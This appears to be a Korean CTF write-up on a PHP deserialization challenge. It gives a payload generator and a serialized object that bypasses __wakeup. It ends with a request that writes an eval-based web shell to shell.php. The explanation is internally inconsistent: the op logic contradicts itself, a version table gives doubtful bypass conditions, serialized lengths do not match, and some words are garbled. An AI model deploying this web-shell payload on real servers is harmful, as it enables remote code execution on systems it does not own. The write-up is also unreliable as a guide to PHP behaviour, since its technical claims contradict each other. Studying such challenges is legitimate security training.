PHP 역직렬화 취약점 분석: AreUSerialz CTF 문제 완전 정복

문제 개요

해당 CTF 문제는 PHP 객체 역직렬화를 이용한 파일 쓰기 취약점을 다룬다. 핵심은 __wakeup 메서드의 동작을 우회하고 __destruct에서 조건을 만족시켜 임의 파일을 생성하는 것이다.

소스코드 구조 분석

제공된 코드는 크게 두 개의 클래스로 구성된다:

<?php
// source.php
class FileHandler {
    private $cmd;
    protected $op;
    public $filename;
    public $content;
    
    function __construct() {
        $this->cmd = "ls";
        $this->op = "1";
        $this->filename = "/tmp/tmpfile";
        $this->content = "hello world!";
        $this->process();
    }
    
    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $this->read();
        } else {
            $this->output("something error!");
        }
    }
    
    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("too long!");
            } else {
                $this->do_something();
            }
        } else {
            $this->output("empty filename or content");
        }
    }
    
    private function do_something() {
        $file = "./" . $this->filename;
        file_put_contents($file, $this->content);
        $this->output("successful!");
    }
    
    private function read() {
        // ...
    }
    
    function __wakeup() {
        $this->op = "1";
    }
    
    function __destruct() {
        if($this->op == "2") {
            $this->content = "";
        }
        // ...
    }
}

취약점 분석

1. __wakeup 우회 필요성

__wakeup()은 객체 역직렬화 직후 자동 실행되어 $op를 제로 "1"로 덮어쓴다. 이를 우회해야 process()에서 write()do_something() 경로로 진입할 수 있다.

2. PHP 버전별 __wakeup 동작 차이

PHP 버전__wakeup 실행 조건
5.x항상 실행 (속성 개수 불일치 무관)
7.0-7.1항상 실행
7.2+선언된 속성 수 < 실제 속성 수 시 실행 안 함

공격 벡터 구성

Step 1: 속성 가시성 조정

protectedprivate 속성은 역직렬화 시 널 바이트와 클래스명이 포함되어 정규식 필터링에 걸릴 수 있다. public으로 전환하여 깔끔한 직렬화 문자열을 생성한다.

Step 2: 취약한 비교 연산 활용

PHP의 느슨한 비교(==)에서 " 2"(앞에 공백 포함)는 "2"와 같다고 평가된다. 이를 이용해 __wakeup의 덮어쓰기 후에도 조건을 만족시킨다.

<?php
// exploit_generator.php
class FileHandler {
    public $op = " 2";           // 공백 포함: 느슨한 비교 우회
    public $filename = "shell.php";
    public $content = '';
}

$obj = new FileHandler();
$serialized = serialize($obj);

// PHP 7.2+ 우편: 선언 속성 수를 실제보다 작게 조작
$malformed = str_replace(':3:{', ':2:{', $serialized);
echo urlencode($malformed);
?>

Step 3: 완성된 페이로드

// 정상 직렬화
O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"";}

// __wakeup 우회 버전 (속성 수 3→2)
O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"";}

실제 익스플로잇

<?php
// exploit.php - 서버측 수신
include "source.php";

$data = $_GET["str"];
$unserialized = unserialize($data);  // __wakeup 우회됨
// __destruct에서 op=="2" 조건 만족, 이후 process() 흐름 진행
?>

요청: /exploit.php?str=O:11:"FileHandler":2:{s:2:"op";s:2:" 2";s:8:"filename";s:9:"shell.php";s:7:"content";s:26:"%3C%3Fphp%20eval($_POST[%22x%22]);%3F%3E";}

핵심 정리

  • 파일명 NewFlag.php는 단순 배너일 가능성을 염두에 둘 것
  • 속성 가시성은 public으로 통일하여 직렬화 노이즈 제거
  • PHP 7.2+에서는 속성 수 불일치로 __wakeup 우회 가능
  • 느슨한 비교의 특성: " 2" == "2"true
  • 최종 목표: file_put_contents를 통한 웹셸 생성

태그: PHP Deserialization __wakeup Bypass Type Juggling File Upload Vulnerability CTF Web Exploitation

7월 8일 20:07에 게시됨